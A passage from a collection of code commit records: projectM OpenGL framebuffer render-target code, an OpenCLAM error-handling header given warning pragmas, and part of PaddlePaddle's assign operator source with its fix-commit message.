fb,  depth_rb, rgba_tex,  other_tex;\n\t  glGenFramebuffersEXT(1, &fb);\n\t  glBindFramebufferEXT( GL_FRAMEBUFFER_EXT, fb );\n\t  \n\t  glGenRenderbuffersEXT(1, &depth_rb);\n\t  glBindRenderbufferEXT( GL_RENDERBUFFER_EXT, depth_rb );\n\t  glRenderbufferStorageEXT( GL_RENDERBUFFER_EXT, GL_DEPTH_COMPONENT, this->texsize,this->texsize  );\n\t  glFramebufferRenderbufferEXT( GL_FRAMEBUFFER_EXT, GL_DEPTH_ATTACHMENT_EXT, GL_RENDERBUFFER_EXT, depth_rb );\n\t  this->fbuffer[0] = fb;\n\t  this->depthb[0]=  depth_rb;\n\t  \n\t  glGenTextures(1, &other_tex);\n\t  glBindTexture(GL_TEXTURE_2D,other_tex);\n\t  glTexImage2D( GL_TEXTURE_2D, 0, GL_RGB, texsize, texsize, 0, GL_RGBA, GL_UNSIGNED_BYTE, NULL );\n\t  glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n\t  \/\/glGenerateMipmapEXT(GL_TEXTURE_2D);\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);\n\t  \n\t  \n\t  \n\t  glGenTextures(1, &rgba_tex);\n\t  glBindTexture(GL_TEXTURE_2D, rgba_tex); \n\t  glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n\t  glTexImage2D( GL_TEXTURE_2D, 0, GL_RGB, texsize, texsize, 0, GL_RGBA, GL_UNSIGNED_BYTE, NULL );\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n\t  \/\/glGenerateMipmapEXT(GL_TEXTURE_2D);\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);\n\t  \n\t  \n\t  \n\t  glFramebufferTexture2DEXT( GL_FRAMEBUFFER_EXT, GL_COLOR_ATTACHMENT0_EXT, GL_TEXTURE_2D, rgba_tex, 0 );         \n\t  this->textureID[0] = rgba_tex;\n\t  this->textureID[1] = other_tex; \n\t  \n\t  GLenum status = glCheckFramebufferStatusEXT(GL_FRAMEBUFFER_EXT);\n\t  if (status == GL_FRAMEBUFFER_COMPLETE_EXT) {\n\t    return;\n\t  }\t\n\t  std::cerr << \"[projecM] warning: FBO support not detected. Using fallback.\" << std::endl;\n\t}\n\n#endif \n\n\/\/ Can reach here via two code paths: \n\/\/ (1) useFBO was set to false externally by cmake \/ system setting \/ etc.\n\/\/ (2) useFBO was true but forced to false as it failed to pass all the GLU extension checks.\n\n    \/** Fallback pbuffer creation via teximage hack *\/\n    \/** Check the texture size against the viewport size *\/\n    \/** If the viewport is smaller, then we'll need to scale the texture size down *\/\n    \/** If the viewport is larger, scale it up *\/\n    mindim = width < height ? width : height;\n    origtexsize = this->texsize;\n    this->texsize = nearestPower2( mindim, SCALE_MINIFY );\n        glGenTextures(1, &this->textureID[0] );\n\n        glBindTexture(GL_TEXTURE_2D, this->textureID[0] );\n        \/\/glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n        \/\/glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n\n        glTexImage2D(GL_TEXTURE_2D,\n\t\t    0,\n\t\t    GL_RGB,\n\t\t    this->texsize, this->texsize,\n\t\t    0,\n\t\t    GL_RGBA,\n\t\t    GL_UNSIGNED_BYTE,\n\t\t    NULL);\n      \n\n   \n    return;\n  }\n\n  void RenderTarget::fallbackRescale(int width, int height)\n  {\n\tint mindim = width < height ? width : height;\n    int origtexsize = this->texsize;\n    this->texsize = nearestPower2( mindim, SCALE_MINIFY );      \n\n    \/* Create the texture that will be bound to the render this *\/\n    \/*\n\n        if ( this->texsize != origtexsize ) {\n\n            glDeleteTextures( 1, &this->textureID[0] );\n          }\n    *\/\n\n        glGenTextures(1, &this->textureID[0] );\n\n        glBindTexture(GL_TEXTURE_2D, this->textureID[0] );\n        \/\/glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n        \/\/glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n\n        glTexImage2D(GL_TEXTURE_2D,\n\t\t    0,\n\t\t    GL_RGB,\n\t\t    this->texsize, this->texsize,\n\t\t    0,\n\t\t    GL_RGBA,\n\t\t    GL_UNSIGNED_BYTE,\n\t\t    NULL);\n      \n\n  }\n\n\/** Destroys the pbuffer *\/\n\n\/** Locks the pbuffer *\/\nvoid RenderTarget::lock() {\n\n#ifdef USE_FBO\n  if(this->useFBO)\n    { \n      glBindFramebufferEXT(GL_FRAMEBUFFER_EXT, this->fbuffer[0]);     \n    }\n#endif\n    }\n\n\/** Unlocks the pbuffer *\/\nvoid RenderTarget::unlock() {\n\n#ifdef USE_FBO\n  if(this->useFBO)\n    {\n      glBindTexture( GL_TEXTURE_2D, this->textureID[1] );\n      glCopyTexSubImage2D( GL_TEXTURE_2D,\n                         0, 0, 0, 0, 0, \n                         this->texsize, this->texsize );\n      glBindFramebufferEXT(GL_FRAMEBUFFER_EXT, 0);\n      return;\n    }\n#endif\n    \/** Fallback texture path *\/\n    \n    glBindTexture( GL_TEXTURE_2D, this->textureID[0] );\n    \n\tglCopyTexSubImage2D( GL_TEXTURE_2D, 0, 0, 0, 0, 0, this->texsize, this->texsize );\n  }\n\n\/** \n * Calculates the nearest power of two to the given number using the\n * appropriate rule\n *\/\nint RenderTarget::nearestPower2( int value, TextureScale scaleRule ) {\n\n    int x = value;\n    int power = 0;\n\n    while ( ( x & 0x01 ) != 1 ) {\n        x >>= 1;\n      }\n\n    if ( x == 1 ) {\n        return value;\n      } else {\n        x = value;\n        while ( x != 0 ) {\n            x >>= 1;\n            power++;\n          }\n        switch ( scaleRule ) {\n            case SCALE_NEAREST:\n                if ( ( ( 1 << power ) - value ) <= ( value - ( 1 << ( power - 1 ) ) ) ) {\n                    return 1 << power;\n                  } else {\n                    return 1 << ( power - 1 );\n                  }\n            case SCALE_MAGNIFY:\n                return 1 << power;\n            case SCALE_MINIFY:\n                return 1 << ( power - 1 );\n            default:\n                break;\n          }\n      }\n    return 0;\n  }\n<commit_msg>Unbind FBO when done<commit_after>\/**\n * projectM -- Milkdrop-esque visualisation SDK\n * Copyright (C)2003-2004 projectM Team\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n * See 'LICENSE.txt' included within this release\n *\n *\/\n\/**\n * $Id: FBO.c,v 1.1.1.1 2005\/12\/23 18:05:00 psperl Exp $\n *\n * Render this methods\n *\/\n\n#include <stdio.h>\n\/\/#include <GL\/gl.h>\n#include <iostream>\n#include \"Common.hpp\"\n#include \"FBO.hpp\"\n\n\n\nRenderTarget::~RenderTarget() {\n\n\n\tglDeleteTextures( 1, &this->textureID[0]);\n\n#ifdef USE_FBO\n\tif (useFBO) \n         {\n\t\tglDeleteTextures( 1, &this->textureID[1] );\n\t\tglDeleteRenderbuffersEXT(1,  &this->depthb[0]);\n\t\tglDeleteFramebuffersEXT(1, &this->fbuffer[0]);\n\t\tif(renderToTexture)\n\t\t  {\n\t\t    glDeleteTextures( 1, &this->textureID[2] );\n\t\t    glDeleteRenderbuffersEXT(1,  &this->depthb[1]);\n\t\t    glDeleteFramebuffersEXT(1, &this->fbuffer[1]);\n\t\t  }\n         }\n#endif\n\n}\n\nGLuint RenderTarget::initRenderToTexture()\n{\n#ifdef USE_FBO\n\n  if (this->useFBO==1)\n    {\n      this->renderToTexture=1;\n      \n      GLuint   fb2, depth_rb2;\n      glGenFramebuffersEXT(1, &fb2);\n      glBindFramebufferEXT( GL_FRAMEBUFFER_EXT, fb2 );\n      glGenRenderbuffersEXT(1, &depth_rb2);\n      glBindRenderbufferEXT( GL_RENDERBUFFER_EXT, depth_rb2 );\n      \n      glRenderbufferStorageEXT( GL_RENDERBUFFER_EXT, GL_DEPTH_COMPONENT, this->texsize,this->texsize  );\n      glFramebufferRenderbufferEXT( GL_FRAMEBUFFER_EXT, GL_DEPTH_ATTACHMENT_EXT, GL_RENDERBUFFER_EXT, depth_rb2 );         \n      this->fbuffer[1] = fb2;\n      this->depthb[1]=  depth_rb2;\n      glGenTextures(1, &this->textureID[2]);\n      glBindTexture(GL_TEXTURE_2D, this->textureID[2]); \n      glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n      glTexImage2D( GL_TEXTURE_2D, 0, GL_RGB, texsize, texsize, 0, GL_RGBA, GL_UNSIGNED_BYTE, NULL );\n      glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n      glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);\n      glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);\n      glFramebufferTexture2DEXT( GL_FRAMEBUFFER_EXT, GL_COLOR_ATTACHMENT0_EXT, GL_TEXTURE_2D, this->textureID[2], 0 );\n      return this->textureID[2];\n    }\n#endif \nreturn -1;\n      \n}\n\n\/** Creates new pbuffers *\/\nRenderTarget::RenderTarget(int texsize, int width, int height) : useFBO(false) {\n\n   int mindim = 0;\n   int origtexsize = 0;\n\n   this->renderToTexture = 0;\n   this->texsize = texsize;\n\n#ifdef USE_FBO\n   glewInit();\n      \/\/ Forceably disable FBO if user requested it but the video card \/ driver lacks\n      \/\/ the appropraite frame buffer extension.\n      if (useFBO = glewIsSupported(\"GL_EXT_framebuffer_object\"))\n\t{\t \n\n\t  GLuint   fb,  depth_rb, rgba_tex,  other_tex;\n\t  glGenFramebuffersEXT(1, &fb);\n\t  glBindFramebufferEXT( GL_FRAMEBUFFER_EXT, fb );\n\t  \n\t  glGenRenderbuffersEXT(1, &depth_rb);\n\t  glBindRenderbufferEXT( GL_RENDERBUFFER_EXT, depth_rb );\n\t  glRenderbufferStorageEXT( GL_RENDERBUFFER_EXT, GL_DEPTH_COMPONENT, this->texsize,this->texsize  );\n\t  glFramebufferRenderbufferEXT( GL_FRAMEBUFFER_EXT, GL_DEPTH_ATTACHMENT_EXT, GL_RENDERBUFFER_EXT, depth_rb );\n\t  this->fbuffer[0] = fb;\n\t  this->depthb[0]=  depth_rb;\n\t  \n\t  glGenTextures(1, &other_tex);\n\t  glBindTexture(GL_TEXTURE_2D,other_tex);\n\t  glTexImage2D( GL_TEXTURE_2D, 0, GL_RGB, texsize, texsize, 0, GL_RGBA, GL_UNSIGNED_BYTE, NULL );\n\t  glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n\t  \/\/glGenerateMipmapEXT(GL_TEXTURE_2D);\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);\n\t  \n\t  \n\t  \n\t  glGenTextures(1, &rgba_tex);\n\t  glBindTexture(GL_TEXTURE_2D, rgba_tex); \n\t  glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n\t  glTexImage2D( GL_TEXTURE_2D, 0, GL_RGB, texsize, texsize, 0, GL_RGBA, GL_UNSIGNED_BYTE, NULL );\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n\t  \/\/glGenerateMipmapEXT(GL_TEXTURE_2D);\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);\n\t  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);\n\t  \n\t  \n\t  \n\t  glFramebufferTexture2DEXT( GL_FRAMEBUFFER_EXT, GL_COLOR_ATTACHMENT0_EXT, GL_TEXTURE_2D, rgba_tex, 0 );         \n\t  this->textureID[0] = rgba_tex;\n\t  this->textureID[1] = other_tex; \n\t  \n\t  GLenum status = glCheckFramebufferStatusEXT(GL_FRAMEBUFFER_EXT);\n\n\t  glBindFramebufferEXT (GL_FRAMEBUFFER_EXT, 0);\n\n\t  if (status == GL_FRAMEBUFFER_COMPLETE_EXT) {\n\t    return;\n\t  }\t\n\t  std::cerr << \"[projecM] warning: FBO support not detected. Using fallback.\" << std::endl;\n\t}\n\n#endif \n\n\/\/ Can reach here via two code paths: \n\/\/ (1) useFBO was set to false externally by cmake \/ system setting \/ etc.\n\/\/ (2) useFBO was true but forced to false as it failed to pass all the GLU extension checks.\n\n    \/** Fallback pbuffer creation via teximage hack *\/\n    \/** Check the texture size against the viewport size *\/\n    \/** If the viewport is smaller, then we'll need to scale the texture size down *\/\n    \/** If the viewport is larger, scale it up *\/\n    mindim = width < height ? width : height;\n    origtexsize = this->texsize;\n    this->texsize = nearestPower2( mindim, SCALE_MINIFY );\n        glGenTextures(1, &this->textureID[0] );\n\n        glBindTexture(GL_TEXTURE_2D, this->textureID[0] );\n        \/\/glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n        \/\/glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n\n        glTexImage2D(GL_TEXTURE_2D,\n\t\t    0,\n\t\t    GL_RGB,\n\t\t    this->texsize, this->texsize,\n\t\t    0,\n\t\t    GL_RGBA,\n\t\t    GL_UNSIGNED_BYTE,\n\t\t    NULL);\n      \n\n   \n    return;\n  }\n\n  void RenderTarget::fallbackRescale(int width, int height)\n  {\n\tint mindim = width < height ? width : height;\n    int origtexsize = this->texsize;\n    this->texsize = nearestPower2( mindim, SCALE_MINIFY );      \n\n    \/* Create the texture that will be bound to the render this *\/\n    \/*\n\n        if ( this->texsize != origtexsize ) {\n\n            glDeleteTextures( 1, &this->textureID[0] );\n          }\n    *\/\n\n        glGenTextures(1, &this->textureID[0] );\n\n        glBindTexture(GL_TEXTURE_2D, this->textureID[0] );\n        \/\/glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n        \/\/glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\n\tglTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\n\n        glTexImage2D(GL_TEXTURE_2D,\n\t\t    0,\n\t\t    GL_RGB,\n\t\t    this->texsize, this->texsize,\n\t\t    0,\n\t\t    GL_RGBA,\n\t\t    GL_UNSIGNED_BYTE,\n\t\t    NULL);\n      \n\n  }\n\n\/** Destroys the pbuffer *\/\n\n\/** Locks the pbuffer *\/\nvoid RenderTarget::lock() {\n\n#ifdef USE_FBO\n  if(this->useFBO)\n    { \n      glBindFramebufferEXT(GL_FRAMEBUFFER_EXT, this->fbuffer[0]);     \n    }\n#endif\n    }\n\n\/** Unlocks the pbuffer *\/\nvoid RenderTarget::unlock() {\n\n#ifdef USE_FBO\n  if(this->useFBO)\n    {\n      glBindTexture( GL_TEXTURE_2D, this->textureID[1] );\n      glCopyTexSubImage2D( GL_TEXTURE_2D,\n                         0, 0, 0, 0, 0, \n                         this->texsize, this->texsize );\n      glBindFramebufferEXT(GL_FRAMEBUFFER_EXT, 0);\n      return;\n    }\n#endif\n    \/** Fallback texture path *\/\n    \n    glBindTexture( GL_TEXTURE_2D, this->textureID[0] );\n    \n\tglCopyTexSubImage2D( GL_TEXTURE_2D, 0, 0, 0, 0, 0, this->texsize, this->texsize );\n  }\n\n\/** \n * Calculates the nearest power of two to the given number using the\n * appropriate rule\n *\/\nint RenderTarget::nearestPower2( int value, TextureScale scaleRule ) {\n\n    int x = value;\n    int power = 0;\n\n    while ( ( x & 0x01 ) != 1 ) {\n        x >>= 1;\n      }\n\n    if ( x == 1 ) {\n        return value;\n      } else {\n        x = value;\n        while ( x != 0 ) {\n            x >>= 1;\n            power++;\n          }\n        switch ( scaleRule ) {\n            case SCALE_NEAREST:\n                if ( ( ( 1 << power ) - value ) <= ( value - ( 1 << ( power - 1 ) ) ) ) {\n                    return 1 << power;\n                  } else {\n                    return 1 << ( power - 1 );\n                  }\n            case SCALE_MAGNIFY:\n                return 1 << power;\n            case SCALE_MINIFY:\n                return 1 << ( power - 1 );\n            default:\n                break;\n          }\n      }\n    return 0;\n  }\n<|endoftext|>"}
{"text":"<commit_before>\/\/\r\n\/\/  Copyright Silvin Lubecki 2010\r\n\/\/\r\n\/\/  Distributed under the Boost Software License, Version 1.0. (See\r\n\/\/  accompanying file LICENSE_1_0.txt or copy at\r\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\r\n\/\/\r\n\r\n#ifndef OPENCLAM_ERROR_HPP_INCLUDED\r\n#define OPENCLAM_ERROR_HPP_INCLUDED\r\n\r\n#include <boost\/lexical_cast.hpp>\r\n\r\n#define ERROR_HANDLER( CODE )   \\\r\n    cl_int error;               \\\r\n    CODE                        \\\r\n    if( error != CL_SUCCESS )   \\\r\n        throw std::runtime_error( \"Openclam error '\" + boost::lexical_cast< std::string >( error ) + \"' at : '\" + #CODE );\r\n    \r\n\r\n#endif \/\/ #ifndef OPENCLAM_ERROR_HPP_INCLUDED<commit_msg>warning fixed<commit_after>\/\/\r\n\/\/  Copyright Silvin Lubecki 2010\r\n\/\/\r\n\/\/  Distributed under the Boost Software License, Version 1.0. (See\r\n\/\/  accompanying file LICENSE_1_0.txt or copy at\r\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\r\n\/\/\r\n\r\n#ifndef OPENCLAM_ERROR_HPP_INCLUDED\r\n#define OPENCLAM_ERROR_HPP_INCLUDED\r\n\r\n#pragma warning( push )\r\n#pragma warning( disable: 4702 )\r\n#include <boost\/lexical_cast.hpp>\r\n#pragma warning( pop )\r\n\r\n#define ERROR_HANDLER( CODE )   \\\r\n    cl_int error;               \\\r\n    CODE                        \\\r\n    if( error != CL_SUCCESS )   \\\r\n        throw std::runtime_error( \"Openclam error '\" + boost::lexical_cast< std::string >( error ) + \"' at : '\" + #CODE );\r\n    \r\n\r\n#endif \/\/ #ifndef OPENCLAM_ERROR_HPP_INCLUDED<|endoftext|>"}
{"text":"<commit_before>\/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n\n#include \"paddle\/fluid\/operators\/assign_op.h\"\n\n#include <string>\n\nnamespace paddle {\nnamespace framework {\nclass OpDesc;\nclass Variable;\n}  \/\/ namespace framework\nnamespace imperative {\nclass OpBase;\n}  \/\/ namespace imperative\nnamespace platform {\nstruct CPUPlace;\nstruct CUDAPlace;\nstruct float16;\n}  \/\/ namespace platform\n}  \/\/ namespace paddle\n\nnamespace paddle {\nnamespace operators {\n\nclass AssignOp : public framework::OperatorWithKernel {\n public:\n  AssignOp(const std::string &type, const framework::VariableNameMap &inputs,\n           const framework::VariableNameMap &outputs,\n           const framework::AttributeMap &attrs)\n      : OperatorWithKernel(type, inputs, outputs, attrs) {}\n\n  void InferShape(framework::InferShapeContext *ctx) const override {\n    if (ctx->HasInput(\"X\")) {\n      auto type = ctx->GetInputsVarType(\"X\")[0];\n      if (type == framework::proto::VarType::SELECTED_ROWS ||\n          type == framework::proto::VarType::LOD_TENSOR) {\n        ctx->SetOutputDim(\"Out\", ctx->GetInputDim(\"X\"));\n        if (type == framework::proto::VarType::LOD_TENSOR) {\n          ctx->ShareLoD(\"X\", \/*->*\/ \"Out\");\n        }\n      } else if (type == framework::proto::VarType::LOD_TENSOR_ARRAY) {\n        if (ctx->IsRuntime()) {\n          \/\/ The runtime output shape is determined in kernel.\n          return;\n        } else {\n          ctx->SetOutputDim(\"Out\", ctx->GetInputDim(\"X\"));\n        }\n      }\n    }\n  }\n\n protected:\n  framework::OpKernelType GetKernelTypeForVar(\n      const std::string &var_name, const framework::Tensor &tensor,\n      const framework::OpKernelType &expected_kernel_type) const override {\n    return framework::OpKernelType(expected_kernel_type.data_type_,\n                                   expected_kernel_type.place_,\n                                   tensor.layout());\n  }\n\n  framework::OpKernelType GetExpectedKernelType(\n      const framework::ExecutionContext &ctx) const override {\n    const framework::Variable *var = ctx.InputVar(\"X\");\n    if (var->IsType<framework::LoDTensorArray>()) {\n      auto t_arr = var->Get<framework::LoDTensorArray>();\n      \/\/ NOTE(liym27): Support an empty tensor array as Input.\n      \/\/ And set the kernel type is float.\n      if (t_arr.size() == 0) {\n        return framework::OpKernelType(framework::proto::VarType::FP32,\n                                       ctx.device_context());\n      }\n    }\n\n    return framework::OpKernelType(\n        OperatorWithKernel::IndicateVarDataType(ctx, \"X\"),\n        ctx.device_context());\n  }\n};\n\nclass AssignInferVarType : public framework::VarTypeInference {\n public:\n  void operator()(framework::InferVarTypeContext *ctx) const override {\n    ctx->SyncTypeAndDataType(\"X\", \"Out\");\n  }\n};\n\nclass AssignKernel {\n public:\n  void operator()(const framework::ExecutionContext &ctx) const {\n    auto *x = ctx.InputVar(\"X\");\n    if (x == nullptr) {\n      return;\n    }\n    PADDLE_ENFORCE_EQ(\n        ctx.HasOutput(\"Out\"), true,\n        platform::errors::NotFound(\"Output(Out) of assign_op is not found.\"));\n    auto *out = ctx.OutputVar(\"Out\");\n    platform::DeviceContextPool &pool = platform::DeviceContextPool::Instance();\n    auto &dev_ctx = *pool.Get(ctx.GetPlace());\n\n    framework::VisitVarType(*x, AssignFunctor(out, dev_ctx));\n  }\n};\n\nclass AssignOpProtoMaker : public framework::OpProtoAndCheckerMaker {\n public:\n  void Make() override {\n    AddInput(\"X\",\n             \"(LoDTensor, SelectedRows or LoDTensorArray) The input variable \"\n             \"could be LoDTensor, SelectedRows or LoDTensorArray.\")\n        .AsDispensable();\n    AddOutput(\"Out\",\n              \"(LoDTensor, SelectedRows or LoDTensorArray) The type of output \"\n              \"is the same as input X.\");\n    AddComment(R\"DOC(Assign Operator\n\nOut = X,  when type in [LoDTensor\/SelectedRows\/LoDTensorArray]\nraise error if the type is not listed above.\n)DOC\");\n  }\n};\n\ntemplate <typename T>\nclass AssignGradMaker : public framework::SingleGradOpMaker<T> {\n public:\n  using framework::SingleGradOpMaker<T>::SingleGradOpMaker;\n\n protected:\n  void Apply(GradOpPtr<T> op) const override {\n    op->SetType(\"assign\");\n    op->SetInput(\"X\", this->OutputGrad(\"Out\"));\n    op->SetOutput(\"Out\", this->InputGrad(\"X\"));\n  }\n};\n\nDECLARE_INPLACE_OP_INFERER(AssignOpInplaceInferer, {\"X\", \"Out\"});\n\n}  \/\/ namespace operators\n}  \/\/ namespace paddle\n\nnamespace ops = paddle::operators;\nnamespace plat = paddle::platform;\nREGISTER_OPERATOR(assign, ops::AssignOp,\n                  ops::AssignGradMaker<paddle::framework::OpDesc>,\n                  ops::AssignGradMaker<paddle::imperative::OpBase>,\n                  ops::AssignOpProtoMaker, ops::AssignOpInplaceInferer,\n                  ops::AssignInferVarType);\n\nREGISTER_OP_CPU_KERNEL_FUNCTOR(assign, float, ops::AssignKernel, double,\n                               ops::AssignKernel, int, ops::AssignKernel,\n                               int64_t, ops::AssignKernel, bool,\n                               ops::AssignKernel, plat::float16,\n                               ops::AssignKernel, plat::bfloat16,\n                               ops::AssignKernel);\n\n#if defined(PADDLE_WITH_CUDA) || defined(PADDLE_WITH_HIP)\nREGISTER_OP_CUDA_KERNEL_FUNCTOR(assign, float, ops::AssignKernel, double,\n                                ops::AssignKernel, int, ops::AssignKernel,\n                                int64_t, ops::AssignKernel, bool,\n                                ops::AssignKernel, plat::float16,\n                                ops::AssignKernel);\n#endif\n<commit_msg>fix assign bug support fp16 uint8 (#35153)<commit_after>\/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n\n#include \"paddle\/fluid\/operators\/assign_op.h\"\n\n#include <string>\n\nnamespace paddle {\nnamespace framework {\nclass OpDesc;\nclass Variable;\n}  \/\/ namespace framework\nnamespace imperative {\nclass OpBase;\n}  \/\/ namespace imperative\nnamespace platform {\nstruct CPUPlace;\nstruct CUDAPlace;\nstruct float16;\n}  \/\/ namespace platform\n}  \/\/ namespace paddle\n\nnamespace paddle {\nnamespace operators {\n\nclass AssignOp : public framework::OperatorWithKernel {\n public:\n  AssignOp(const std::string &type, const framework::VariableNameMap &inputs,\n           const framework::VariableNameMap &outputs,\n           const framework::AttributeMap &attrs)\n      : OperatorWithKernel(type, inputs, outputs, attrs) {}\n\n  void InferShape(framework::InferShapeContext *ctx) const override {\n    if (ctx->HasInput(\"X\")) {\n      auto type = ctx->GetInputsVarType(\"X\")[0];\n      if (type == framework::proto::VarType::SELECTED_ROWS ||\n          type == framework::proto::VarType::LOD_TENSOR) {\n        ctx->SetOutputDim(\"Out\", ctx->GetInputDim(\"X\"));\n        if (type == framework::proto::VarType::LOD_TENSOR) {\n          ctx->ShareLoD(\"X\", \/*->*\/ \"Out\");\n        }\n      } else if (type == framework::proto::VarType::LOD_TENSOR_ARRAY) {\n        if (ctx->IsRuntime()) {\n          \/\/ The runtime output shape is determined in kernel.\n          return;\n        } else {\n          ctx->SetOutputDim(\"Out\", ctx->GetInputDim(\"X\"));\n        }\n      }\n    }\n  }\n\n protected:\n  framework::OpKernelType GetKernelTypeForVar(\n      const std::string &var_name, const framework::Tensor &tensor,\n      const framework::OpKernelType &expected_kernel_type) const override {\n    return framework::OpKernelType(expected_kernel_type.data_type_,\n                                   expected_kernel_type.place_,\n                                   tensor.layout());\n  }\n\n  framework::OpKernelType GetExpectedKernelType(\n      const framework::ExecutionContext &ctx) const override {\n    const framework::Variable *var = ctx.InputVar(\"X\");\n    if (var->IsType<framework::LoDTensorArray>()) {\n      auto t_arr = var->Get<framework::LoDTensorArray>();\n      \/\/ NOTE(liym27): Support an empty tensor array as Input.\n      \/\/ And set the kernel type is float.\n      if (t_arr.size() == 0) {\n        return framework::OpKernelType(framework::proto::VarType::FP32,\n                                       ctx.device_context());\n      }\n    }\n\n    return framework::OpKernelType(\n        OperatorWithKernel::IndicateVarDataType(ctx, \"X\"),\n        ctx.device_context());\n  }\n};\n\nclass AssignInferVarType : public framework::VarTypeInference {\n public:\n  void operator()(framework::InferVarTypeContext *ctx) const override {\n    ctx->SyncTypeAndDataType(\"X\", \"Out\");\n  }\n};\n\nclass AssignKernel {\n public:\n  void operator()(const framework::ExecutionContext &ctx) const {\n    auto *x = ctx.InputVar(\"X\");\n    if (x == nullptr) {\n      return;\n    }\n    PADDLE_ENFORCE_EQ(\n        ctx.HasOutput(\"Out\"), true,\n        platform::errors::NotFound(\"Output(Out) of assign_op is not found.\"));\n    auto *out = ctx.OutputVar(\"Out\");\n    platform::DeviceContextPool &pool = platform::DeviceContextPool::Instance();\n    auto &dev_ctx = *pool.Get(ctx.GetPlace());\n\n    framework::VisitVarType(*x, AssignFunctor(out, dev_ctx));\n  }\n};\n\nclass AssignOpProtoMaker : public framework::OpProtoAndCheckerMaker {\n public:\n  void Make() override {\n    AddInput(\"X\",\n             \"(LoDTensor, SelectedRows or LoDTensorArray) The input variable \"\n             \"could be LoDTensor, SelectedRows or LoDTensorArray.\")\n        .AsDispensable();\n    AddOutput(\"Out\",\n              \"(LoDTensor, SelectedRows or 